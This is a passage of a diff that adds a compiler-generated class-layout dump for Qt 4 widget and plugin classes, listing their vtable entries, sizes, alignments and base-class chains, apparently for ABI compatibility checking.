+348 QTableView::verticalOffset
+352 QTableView::isIndexHidden
+356 QTableView::setSelection
+360 QTableView::visualRegionForSelection
+364 QTableView::selectedIndexes
+368 QAbstractItemView::edit
+372 QAbstractItemView::selectionCommand
+376 QAbstractItemView::startDrag
+380 QTableView::viewOptions
+384 (int (*)(...))-0x000000008
+388 (int (*)(...))(& _ZTI10QTableView)
+392 QTableView::_ZThn8_N10QTableViewD1Ev
+396 QTableView::_ZThn8_N10QTableViewD0Ev
+400 QWidget::_ZThn8_NK7QWidget7devTypeEv
+404 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+408 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QTableView
+ size=20 align=4
+ base size=20 base align=4
+QTableView (0xb233e000) 0
+ vptr=((& QTableView::_ZTV10QTableView) + 8u)
+ QAbstractItemView (0xb233e040) 0
+ primary-for QTableView (0xb233e000)
+ QAbstractScrollArea (0xb233e080) 0
+ primary-for QAbstractItemView (0xb233e040)
+ QFrame (0xb233e0c0) 0
+ primary-for QAbstractScrollArea (0xb233e080)
+ QWidget (0xb233d050) 0
+ primary-for QFrame (0xb233e0c0)
+ QObject (0xb24d1d5c) 0
+ primary-for QWidget (0xb233d050)
+ QPaintDevice (0xb24d1d98) 8
+ vptr=((& QTableView::_ZTV10QTableView) + 392u)
+
+Class QTableWidgetSelectionRange
+ size=16 align=4
+ base size=16 base align=4
+QTableWidgetSelectionRange (0xb24d1fb4) 0
+
+Vtable for QTableWidgetItem
+QTableWidgetItem::_ZTV16QTableWidgetItem: 10u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI16QTableWidgetItem)
+8 QTableWidgetItem::~QTableWidgetItem
+12 QTableWidgetItem::~QTableWidgetItem
+16 QTableWidgetItem::clone
+20 QTableWidgetItem::data
+24 QTableWidgetItem::setData
+28 QTableWidgetItem::operator<
+32 QTableWidgetItem::read
+36 QTableWidgetItem::write
+
+Class QTableWidgetItem
+ size=24 align=4
+ base size=24 base align=4
+QTableWidgetItem (0xb235b1e0) 0
+ vptr=((& QTableWidgetItem::_ZTV16QTableWidgetItem) + 8u)
+
+Vtable for QTableWidget
+QTableWidget::_ZTV12QTableWidget: 107u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI12QTableWidget)
+8 QTableWidget::metaObject
+12 QTableWidget::qt_metacast
+16 QTableWidget::qt_metacall
+20 QTableWidget::~QTableWidget
+24 QTableWidget::~QTableWidget
+28 QTableWidget::event
+32 QObject::eventFilter
+36 QTableView::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QAbstractScrollArea::sizeHint
+68 QAbstractScrollArea::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QAbstractItemView::mousePressEvent
+84 QAbstractItemView::mouseReleaseEvent
+88 QAbstractItemView::mouseDoubleClickEvent
+92 QAbstractItemView::mouseMoveEvent
+96 QAbstractScrollArea::wheelEvent
+100 QAbstractItemView::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QAbstractItemView::focusInEvent
+112 QAbstractItemView::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QTableView::paintEvent
+128 QWidget::moveEvent
+132 QAbstractItemView::resizeEvent
+136 QWidget::closeEvent
+140 QAbstractScrollArea::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QAbstractItemView::dragEnterEvent
+156 QAbstractItemView::dragMoveEvent
+160 QAbstractItemView::dragLeaveEvent
+164 QTableWidget::dropEvent
+168 QWidget::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QFrame::changeEvent
+184 QWidget::metric
+188 QAbstractItemView::inputMethodEvent
+192 QAbstractItemView::inputMethodQuery
+196 QAbstractItemView::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QAbstractItemView::viewportEvent
+228 QTableView::scrollContentsBy
+232 QTableWidget::setModel
+236 QTableView::setSelectionModel
+240 QAbstractItemView::keyboardSearch
+244 QTableView::visualRect
+248 QTableView::scrollTo
+252 QTableView::indexAt
+256 QTableView::sizeHintForRow
+260 QTableView::sizeHintForColumn
+264 QAbstractItemView::reset
+268 QTableView::setRootIndex
+272 QAbstractItemView::doItemsLayout
+276 QAbstractItemView::selectAll
+280 QAbstractItemView::dataChanged
+284 QAbstractItemView::rowsInserted
+288 QAbstractItemView::rowsAboutToBeRemoved
+292 QTableView::selectionChanged
+296 QTableView::currentChanged
+300 QAbstractItemView::updateEditorData
+304 QAbstractItemView::updateEditorGeometries
+308 QTableView::updateGeometries
+312 QTableView::verticalScrollbarAction
+316 QTableView::horizontalScrollbarAction
+320 QAbstractItemView::verticalScrollbarValueChanged
+324 QAbstractItemView::horizontalScrollbarValueChanged
+328 QAbstractItemView::closeEditor
+332 QAbstractItemView::commitData
+336 QAbstractItemView::editorDestroyed
+340 QTableView::moveCursor
+344 QTableView::horizontalOffset
+348 QTableView::verticalOffset
+352 QTableView::isIndexHidden
+356 QTableView::setSelection
+360 QTableView::visualRegionForSelection
+364 QTableView::selectedIndexes
+368 QAbstractItemView::edit
+372 QAbstractItemView::selectionCommand
+376 QAbstractItemView::startDrag
+380 QTableView::viewOptions
+384 QTableWidget::mimeTypes
+388 QTableWidget::mimeData
+392 QTableWidget::dropMimeData
+396 QTableWidget::supportedDropActions
+400 (int (*)(...))-0x000000008
+404 (int (*)(...))(& _ZTI12QTableWidget)
+408 QTableWidget::_ZThn8_N12QTableWidgetD1Ev
+412 QTableWidget::_ZThn8_N12QTableWidgetD0Ev
+416 QWidget::_ZThn8_NK7QWidget7devTypeEv
+420 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+424 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QTableWidget
+ size=20 align=4
+ base size=20 base align=4
+QTableWidget (0xb2390500) 0
+ vptr=((& QTableWidget::_ZTV12QTableWidget) + 8u)
+ QTableView (0xb2390540) 0
+ primary-for QTableWidget (0xb2390500)
+ QAbstractItemView (0xb2390580) 0
+ primary-for QTableView (0xb2390540)
+ QAbstractScrollArea (0xb23905c0) 0
+ primary-for QAbstractItemView (0xb2390580)
+ QFrame (0xb2390600) 0
+ primary-for QAbstractScrollArea (0xb23905c0)
+ QWidget (0xb2399820) 0
+ primary-for QFrame (0xb2390600)
+ QObject (0xb23962d0) 0
+ primary-for QWidget (0xb2399820)
+ QPaintDevice (0xb239630c) 8
+ vptr=((& QTableWidget::_ZTV12QTableWidget) + 408u)
+
+Vtable for QTreeView
+QTreeView::_ZTV9QTreeView: 105u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI9QTreeView)
+8 QTreeView::metaObject
+12 QTreeView::qt_metacast
+16 QTreeView::qt_metacall
+20 QTreeView::~QTreeView
+24 QTreeView::~QTreeView
+28 QAbstractItemView::event
+32 QObject::eventFilter
+36 QTreeView::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QAbstractScrollArea::sizeHint
+68 QAbstractScrollArea::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QTreeView::mousePressEvent
+84 QTreeView::mouseReleaseEvent
+88 QTreeView::mouseDoubleClickEvent
+92 QTreeView::mouseMoveEvent
+96 QAbstractScrollArea::wheelEvent
+100 QTreeView::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QAbstractItemView::focusInEvent
+112 QAbstractItemView::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QTreeView::paintEvent
+128 QWidget::moveEvent
+132 QAbstractItemView::resizeEvent
+136 QWidget::closeEvent
+140 QAbstractScrollArea::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QAbstractItemView::dragEnterEvent
+156 QTreeView::dragMoveEvent
+160 QAbstractItemView::dragLeaveEvent
+164 QAbstractItemView::dropEvent
+168 QWidget::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QFrame::changeEvent
+184 QWidget::metric
+188 QAbstractItemView::inputMethodEvent
+192 QAbstractItemView::inputMethodQuery
+196 QAbstractItemView::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QTreeView::viewportEvent
+228 QTreeView::scrollContentsBy
+232 QTreeView::setModel
+236 QTreeView::setSelectionModel
+240 QTreeView::keyboardSearch
+244 QTreeView::visualRect
+248 QTreeView::scrollTo
+252 QTreeView::indexAt
+256 QAbstractItemView::sizeHintForRow
+260 QTreeView::sizeHintForColumn
+264 QTreeView::reset
+268 QTreeView::setRootIndex
+272 QTreeView::doItemsLayout
+276 QTreeView::selectAll
+280 QTreeView::dataChanged
+284 QTreeView::rowsInserted
+288 QTreeView::rowsAboutToBeRemoved
+292 QTreeView::selectionChanged
+296 QTreeView::currentChanged
+300 QAbstractItemView::updateEditorData
+304 QAbstractItemView::updateEditorGeometries
+308 QTreeView::updateGeometries
+312 QAbstractItemView::verticalScrollbarAction
+316 QTreeView::horizontalScrollbarAction
+320 QAbstractItemView::verticalScrollbarValueChanged
+324 QAbstractItemView::horizontalScrollbarValueChanged
+328 QAbstractItemView::closeEditor
+332 QAbstractItemView::commitData
+336 QAbstractItemView::editorDestroyed
+340 QTreeView::moveCursor
+344 QTreeView::horizontalOffset
+348 QTreeView::verticalOffset
+352 QTreeView::isIndexHidden
+356 QTreeView::setSelection
+360 QTreeView::visualRegionForSelection
+364 QTreeView::selectedIndexes
+368 QAbstractItemView::edit
+372 QAbstractItemView::selectionCommand
+376 QAbstractItemView::startDrag
+380 QAbstractItemView::viewOptions
+384 QTreeView::drawRow
+388 QTreeView::drawBranches
+392 (int (*)(...))-0x000000008
+396 (int (*)(...))(& _ZTI9QTreeView)
+400 QTreeView::_ZThn8_N9QTreeViewD1Ev
+404 QTreeView::_ZThn8_N9QTreeViewD0Ev
+408 QWidget::_ZThn8_NK7QWidget7devTypeEv
+412 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+416 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QTreeView
+ size=20 align=4
+ base size=20 base align=4
+QTreeView (0xb2390b00) 0
+ vptr=((& QTreeView::_ZTV9QTreeView) + 8u)
+ QAbstractItemView (0xb2390b40) 0
+ primary-for QTreeView (0xb2390b00)
+ QAbstractScrollArea (0xb2390b80) 0
+ primary-for QAbstractItemView (0xb2390b40)
+ QFrame (0xb2390bc0) 0
+ primary-for QAbstractScrollArea (0xb2390b80)
+ QWidget (0xb23bd280) 0
+ primary-for QFrame (0xb2390bc0)
+ QObject (0xb239699c) 0
+ primary-for QWidget (0xb23bd280)
+ QPaintDevice (0xb23969d8) 8
+ vptr=((& QTreeView::_ZTV9QTreeView) + 400u)
+
+Class QTreeWidgetItemIterator
+ size=12 align=4
+ base size=12 base align=4
+QTreeWidgetItemIterator (0xb2396bf4) 0
+
+Vtable for QTreeWidgetItem
+QTreeWidgetItem::_ZTV15QTreeWidgetItem: 10u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI15QTreeWidgetItem)
+8 QTreeWidgetItem::~QTreeWidgetItem
+12 QTreeWidgetItem::~QTreeWidgetItem
+16 QTreeWidgetItem::clone
+20 QTreeWidgetItem::data
+24 QTreeWidgetItem::setData
+28 QTreeWidgetItem::operator<
+32 QTreeWidgetItem::read
+36 QTreeWidgetItem::write
+
+Class QTreeWidgetItem
+ size=32 align=4
+ base size=32 base align=4
+QTreeWidgetItem (0xb21f52d0) 0
+ vptr=((& QTreeWidgetItem::_ZTV15QTreeWidgetItem) + 8u)
+
+Vtable for QTreeWidget
+QTreeWidget::_ZTV11QTreeWidget: 109u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI11QTreeWidget)
+8 QTreeWidget::metaObject
+12 QTreeWidget::qt_metacast
+16 QTreeWidget::qt_metacall
+20 QTreeWidget::~QTreeWidget
+24 QTreeWidget::~QTreeWidget
+28 QTreeWidget::event
+32 QObject::eventFilter
+36 QTreeView::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QAbstractScrollArea::sizeHint
+68 QAbstractScrollArea::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QTreeView::mousePressEvent
+84 QTreeView::mouseReleaseEvent
+88 QTreeView::mouseDoubleClickEvent
+92 QTreeView::mouseMoveEvent
+96 QAbstractScrollArea::wheelEvent
+100 QTreeView::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QAbstractItemView::focusInEvent
+112 QAbstractItemView::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QTreeView::paintEvent
+128 QWidget::moveEvent
+132 QAbstractItemView::resizeEvent
+136 QWidget::closeEvent
+140 QAbstractScrollArea::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QAbstractItemView::dragEnterEvent
+156 QTreeView::dragMoveEvent
+160 QAbstractItemView::dragLeaveEvent
+164 QTreeWidget::dropEvent
+168 QWidget::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QFrame::changeEvent
+184 QWidget::metric
+188 QAbstractItemView::inputMethodEvent
+192 QAbstractItemView::inputMethodQuery
+196 QAbstractItemView::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QTreeView::viewportEvent
+228 QTreeView::scrollContentsBy
+232 QTreeWidget::setModel
+236 QTreeWidget::setSelectionModel
+240 QTreeView::keyboardSearch
+244 QTreeView::visualRect
+248 QTreeView::scrollTo
+252 QTreeView::indexAt
+256 QAbstractItemView::sizeHintForRow
+260 QTreeView::sizeHintForColumn
+264 QTreeView::reset
+268 QTreeView::setRootIndex
+272 QTreeView::doItemsLayout
+276 QTreeView::selectAll
+280 QTreeView::dataChanged
+284 QTreeView::rowsInserted
+288 QTreeView::rowsAboutToBeRemoved
+292 QTreeView::selectionChanged
+296 QTreeView::currentChanged
+300 QAbstractItemView::updateEditorData
+304 QAbstractItemView::updateEditorGeometries
+308 QTreeView::updateGeometries
+312 QAbstractItemView::verticalScrollbarAction
+316 QTreeView::horizontalScrollbarAction
+320 QAbstractItemView::verticalScrollbarValueChanged
+324 QAbstractItemView::horizontalScrollbarValueChanged
+328 QAbstractItemView::closeEditor
+332 QAbstractItemView::commitData
+336 QAbstractItemView::editorDestroyed
+340 QTreeView::moveCursor
+344 QTreeView::horizontalOffset
+348 QTreeView::verticalOffset
+352 QTreeView::isIndexHidden
+356 QTreeView::setSelection
+360 QTreeView::visualRegionForSelection
+364 QTreeView::selectedIndexes
+368 QAbstractItemView::edit
+372 QAbstractItemView::selectionCommand
+376 QAbstractItemView::startDrag
+380 QAbstractItemView::viewOptions
+384 QTreeView::drawRow
+388 QTreeView::drawBranches
+392 QTreeWidget::mimeTypes
+396 QTreeWidget::mimeData
+400 QTreeWidget::dropMimeData
+404 QTreeWidget::supportedDropActions
+408 (int (*)(...))-0x000000008
+412 (int (*)(...))(& _ZTI11QTreeWidget)
+416 QTreeWidget::_ZThn8_N11QTreeWidgetD1Ev
+420 QTreeWidget::_ZThn8_N11QTreeWidgetD0Ev
+424 QWidget::_ZThn8_NK7QWidget7devTypeEv
+428 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+432 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QTreeWidget
+ size=20 align=4
+ base size=20 base align=4
+QTreeWidget (0xb226e580) 0
+ vptr=((& QTreeWidget::_ZTV11QTreeWidget) + 8u)
+ QTreeView (0xb226e5c0) 0
+ primary-for QTreeWidget (0xb226e580)
+ QAbstractItemView (0xb226e600) 0
+ primary-for QTreeView (0xb226e5c0)
+ QAbstractScrollArea (0xb226e640) 0
+ primary-for QAbstractItemView (0xb226e600)
+ QFrame (0xb226e680) 0
+ primary-for QAbstractScrollArea (0xb226e640)
+ QWidget (0xb2272d20) 0
+ primary-for QFrame (0xb226e680)
+ QObject (0xb226c708) 0
+ primary-for QWidget (0xb2272d20)
+ QPaintDevice (0xb226c744) 8
+ vptr=((& QTreeWidget::_ZTV11QTreeWidget) + 416u)
+
+Vtable for QInputContext
+QInputContext::_ZTV13QInputContext: 26u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI13QInputContext)
+8 QInputContext::metaObject
+12 QInputContext::qt_metacast
+16 QInputContext::qt_metacall
+20 QInputContext::~QInputContext
+24 QInputContext::~QInputContext
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 __cxa_pure_virtual
+60 __cxa_pure_virtual
+64 __cxa_pure_virtual
+68 QInputContext::update
+72 QInputContext::mouseHandler
+76 QInputContext::font
+80 __cxa_pure_virtual
+84 QInputContext::setFocusWidget
+88 QInputContext::widgetDestroyed
+92 QInputContext::actions
+96 QInputContext::x11FilterEvent
+100 QInputContext::filterEvent
+
+Class QInputContext
+ size=8 align=4
+ base size=8 base align=4
+QInputContext (0xb226eec0) 0
+ vptr=((& QInputContext::_ZTV13QInputContext) + 8u)
+ QObject (0xb229d168) 0
+ primary-for QInputContext (0xb226eec0)
+
+Class QInputContextFactory
+ size=1 align=1
+ base size=0 base align=1
+QInputContextFactory (0xb229d384) 0 empty
+
+Vtable for QInputContextFactoryInterface
+QInputContextFactoryInterface::_ZTV29QInputContextFactoryInterface: 9u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI29QInputContextFactoryInterface)
+8 QInputContextFactoryInterface::~QInputContextFactoryInterface
+12 QInputContextFactoryInterface::~QInputContextFactoryInterface
+16 __cxa_pure_virtual
+20 __cxa_pure_virtual
+24 __cxa_pure_virtual
+28 __cxa_pure_virtual
+32 __cxa_pure_virtual
+
+Class QInputContextFactoryInterface
+ size=4 align=4
+ base size=4 base align=4
+QInputContextFactoryInterface (0xb22b81c0) 0 nearly-empty
+ vptr=((& QInputContextFactoryInterface::_ZTV29QInputContextFactoryInterface) + 8u)
+ QFactoryInterface (0xb229d3c0) 0 nearly-empty
+ primary-for QInputContextFactoryInterface (0xb22b81c0)
+
+Vtable for QInputContextPlugin
+QInputContextPlugin::_ZTV19QInputContextPlugin: 28u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI19QInputContextPlugin)
+8 QInputContextPlugin::metaObject
+12 QInputContextPlugin::qt_metacast
+16 QInputContextPlugin::qt_metacall
+20 QInputContextPlugin::~QInputContextPlugin
+24 QInputContextPlugin::~QInputContextPlugin
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 __cxa_pure_virtual
+60 __cxa_pure_virtual
+64 __cxa_pure_virtual
+68 __cxa_pure_virtual
+72 __cxa_pure_virtual
+76 (int (*)(...))-0x000000008
+80 (int (*)(...))(& _ZTI19QInputContextPlugin)
+84 QInputContextPlugin::_ZThn8_N19QInputContextPluginD1Ev
+88 QInputContextPlugin::_ZThn8_N19QInputContextPluginD0Ev
+92 __cxa_pure_virtual
+96 __cxa_pure_virtual
+100 __cxa_pure_virtual
+104 __cxa_pure_virtual
+108 __cxa_pure_virtual
+
+Class QInputContextPlugin
+ size=12 align=4
+ base size=12 base align=4
+QInputContextPlugin (0xb22c08c0) 0
+ vptr=((& QInputContextPlugin::_ZTV19QInputContextPlugin) + 8u)
+ QObject (0xb229d6cc) 0
+ primary-for QInputContextPlugin (0xb22c08c0)
+ QInputContextFactoryInterface (0xb22b8480) 8 nearly-empty
+ vptr=((& QInputContextPlugin::_ZTV19QInputContextPlugin) + 84u)
+ QFactoryInterface (0xb229d708) 8 nearly-empty
+ primary-for QInputContextFactoryInterface (0xb22b8480)
+
+Vtable for QBitmap
+QBitmap::_ZTV7QBitmap: 7u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI7QBitmap)
+8 QBitmap::~QBitmap
+12 QBitmap::~QBitmap
+16 QPixmap::devType
+20 QPixmap::paintEngine
+24 QPixmap::metric
+
+Class QBitmap
+ size=12 align=4
+ base size=12 base align=4
+QBitmap (0xb22b86c0) 0
+ vptr=((& QBitmap::_ZTV7QBitmap) + 8u)
+ QPixmap (0xb22b8700) 0
+ primary-for QBitmap (0xb22b86c0)
+ QPaintDevice (0xb229d834) 0
+ primary-for QPixmap (0xb22b8700)
+
+Vtable for QIconEngine
+QIconEngine::_ZTV11QIconEngine: 9u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI11QIconEngine)
+8 QIconEngine::~QIconEngine
+12 QIconEngine::~QIconEngine
+16 __cxa_pure_virtual
+20 QIconEngine::actualSize
+24 QIconEngine::pixmap
+28 QIconEngine::addPixmap
+32 QIconEngine::addFile
+
+Class QIconEngine
+ size=4 align=4
+ base size=4 base align=4
+QIconEngine (0xb20e63fc) 0 nearly-empty
+ vptr=((& QIconEngine::_ZTV11QIconEngine) + 8u)
+
+Class QIconEngineV2::AvailableSizesArgument
+ size=12 align=4
+ base size=12 base align=4
+QIconEngineV2::AvailableSizesArgument (0xb20e6474) 0
+
+Vtable for QIconEngineV2
+QIconEngineV2::_ZTV13QIconEngineV2: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI13QIconEngineV2)
+8 QIconEngineV2::~QIconEngineV2
+12 QIconEngineV2::~QIconEngineV2
+16 __cxa_pure_virtual
+20 QIconEngine::actualSize
+24 QIconEngine::pixmap
+28 QIconEngine::addPixmap
+32 QIconEngine::addFile
+36 QIconEngineV2::key
+40 QIconEngineV2::clone
+44 QIconEngineV2::read
+48 QIconEngineV2::write
+52 QIconEngineV2::virtual_hook
+
+Class QIconEngineV2
+ size=4 align=4
+ base size=4 base align=4
+QIconEngineV2 (0xb22b8f40) 0 nearly-empty
+ vptr=((& QIconEngineV2::_ZTV13QIconEngineV2) + 8u)
+ QIconEngine (0xb20e6438) 0 nearly-empty
+ primary-for QIconEngineV2 (0xb22b8f40)
+
+Vtable for QIconEngineFactoryInterface
+QIconEngineFactoryInterface::_ZTV27QIconEngineFactoryInterface: 6u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI27QIconEngineFactoryInterface)
+8 QIconEngineFactoryInterface::~QIconEngineFactoryInterface
+12 QIconEngineFactoryInterface::~QIconEngineFactoryInterface
+16 __cxa_pure_virtual
+20 __cxa_pure_virtual
+
+Class QIconEngineFactoryInterface
+ size=4 align=4
+ base size=4 base align=4
+QIconEngineFactoryInterface (0xb20ef0c0) 0 nearly-empty
+ vptr=((& QIconEngineFactoryInterface::_ZTV27QIconEngineFactoryInterface) + 8u)
+ QFactoryInterface (0xb20e6528) 0 nearly-empty
+ primary-for QIconEngineFactoryInterface (0xb20ef0c0)
+
+Vtable for QIconEnginePlugin
+QIconEnginePlugin::_ZTV17QIconEnginePlugin: 22u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI17QIconEnginePlugin)
+8 QIconEnginePlugin::metaObject
+12 QIconEnginePlugin::qt_metacast
+16 QIconEnginePlugin::qt_metacall
+20 QIconEnginePlugin::~QIconEnginePlugin
+24 QIconEnginePlugin::~QIconEnginePlugin
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 __cxa_pure_virtual
+60 __cxa_pure_virtual
+64 (int (*)(...))-0x000000008
+68 (int (*)(...))(& _ZTI17QIconEnginePlugin)
+72 QIconEnginePlugin::_ZThn8_N17QIconEnginePluginD1Ev
+76 QIconEnginePlugin::_ZThn8_N17QIconEnginePluginD0Ev
+80 __cxa_pure_virtual
+84 __cxa_pure_virtual
+
+Class QIconEnginePlugin
+ size=12 align=4
+ base size=12 base align=4
+QIconEnginePlugin (0xb2106b40) 0
+ vptr=((& QIconEnginePlugin::_ZTV17QIconEnginePlugin) + 8u)
+ QObject (0xb20e6834) 0
+ primary-for QIconEnginePlugin (0xb2106b40)
+ QIconEngineFactoryInterface (0xb20ef380) 8 nearly-empty
+ vptr=((& QIconEnginePlugin::_ZTV17QIconEnginePlugin) + 72u)
+ QFactoryInterface (0xb20e6870) 8 nearly-empty
+ primary-for QIconEngineFactoryInterface (0xb20ef380)
+
+Vtable for QIconEngineFactoryInterfaceV2
+QIconEngineFactoryInterfaceV2::_ZTV29QIconEngineFactoryInterfaceV2: 6u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI29QIconEngineFactoryInterfaceV2)
+8 QIconEngineFactoryInterfaceV2::~QIconEngineFactoryInterfaceV2
+12 QIconEngineFactoryInterfaceV2::~QIconEngineFactoryInterfaceV2
+16 __cxa_pure_virtual
+20 __cxa_pure_virtual
+
+Class QIconEngineFactoryInterfaceV2
+ size=4 align=4
+ base size=4 base align=4
+QIconEngineFactoryInterfaceV2 (0xb20ef5c0) 0 nearly-empty
+ vptr=((& QIconEngineFactoryInterfaceV2::_ZTV29QIconEngineFactoryInterfaceV2) + 8u)
+ QFactoryInterface (0xb20e699c) 0 nearly-empty
+ primary-for QIconEngineFactoryInterfaceV2 (0xb20ef5c0)
+
+Vtable for QIconEnginePluginV2
+QIconEnginePluginV2::_ZTV19QIconEnginePluginV2: 22u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI19QIconEnginePluginV2)
+8 QIconEnginePluginV2::metaObject
+12 QIconEnginePluginV2::qt_metacast
+16 QIconEnginePluginV2::qt_metacall
+20 QIconEnginePluginV2::~QIconEnginePluginV2
+24 QIconEnginePluginV2::~QIconEnginePluginV2
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 __cxa_pure_virtual
+60 __cxa_pure_virtual
+64 (int (*)(...))-0x000000008
+68 (int (*)(...))(& _ZTI19QIconEnginePluginV2)
+72 QIconEnginePluginV2::_ZThn8_N19QIconEnginePluginV2D1Ev
+76 QIconEnginePluginV2::_ZThn8_N19QIconEnginePluginV2D0Ev
+80 __cxa_pure_virtual
+84 __cxa_pure_virtual
+
+Class QIconEnginePluginV2
+ size=12 align=4
+ base size=12 base align=4
+QIconEnginePluginV2 (0xb2118550) 0
+ vptr=((& QIconEnginePluginV2::_ZTV19QIconEnginePluginV2) + 8u)
+ QObject (0xb20e6ca8) 0
+ primary-for QIconEnginePluginV2 (0xb2118550)
+ QIconEngineFactoryInterfaceV2 (0xb20ef880) 8 nearly-empty
+ vptr=((& QIconEnginePluginV2::_ZTV19QIconEnginePluginV2) + 72u)
+ QFactoryInterface (0xb20e6ce4) 8 nearly-empty
+ primary-for QIconEngineFactoryInterfaceV2 (0xb20ef880)
+
+Vtable for QImageIOHandler
+QImageIOHandler::_ZTV15QImageIOHandler: 18u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI15QImageIOHandler)
+8 QImageIOHandler::~QImageIOHandler
+12 QImageIOHandler::~QImageIOHandler
+16 QImageIOHandler::name
+20 __cxa_pure_virtual
+24 __cxa_pure_virtual
+28 QImageIOHandler::write
+32 QImageIOHandler::option
+36 QImageIOHandler::setOption
+40 QImageIOHandler::supportsOption
+44 QImageIOHandler::jumpToNextImage
+48 QImageIOHandler::jumpToImage
+52 QImageIOHandler::loopCount
+56 QImageIOHandler::imageCount
+60 QImageIOHandler::nextImageDelay
+64 QImageIOHandler::currentImageNumber
+68 QImageIOHandler::currentImageRect
+
+Class QImageIOHandler
+ size=8 align=4
+ base size=8 base align=4
+QImageIOHandler (0xb20e6e10) 0
+ vptr=((& QImageIOHandler::_ZTV15QImageIOHandler) + 8u)
+
+Vtable for QImageIOHandlerFactoryInterface
+QImageIOHandlerFactoryInterface::_ZTV31QImageIOHandlerFactoryInterface: 6u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI31QImageIOHandlerFactoryInterface)
+8 QImageIOHandlerFactoryInterface::~QImageIOHandlerFactoryInterface
+12 QImageIOHandlerFactoryInterface::~QImageIOHandlerFactoryInterface
+16 __cxa_pure_virtual
+20 __cxa_pure_virtual
+
+Class QImageIOHandlerFactoryInterface
+ size=4 align=4
+ base size=4 base align=4
+QImageIOHandlerFactoryInterface (0xb20efbc0) 0 nearly-empty
+ vptr=((& QImageIOHandlerFactoryInterface::_ZTV31QImageIOHandlerFactoryInterface) + 8u)
+ QFactoryInterface (0xb20e6f78) 0 nearly-empty
+ primary-for QImageIOHandlerFactoryInterface (0xb20efbc0)
+
+Vtable for QImageIOPlugin
+QImageIOPlugin::_ZTV14QImageIOPlugin: 23u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI14QImageIOPlugin)
+8 QImageIOPlugin::metaObject
+12 QImageIOPlugin::qt_metacast
+16 QImageIOPlugin::qt_metacall
+20 QImageIOPlugin::~QImageIOPlugin
+24 QImageIOPlugin::~QImageIOPlugin
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
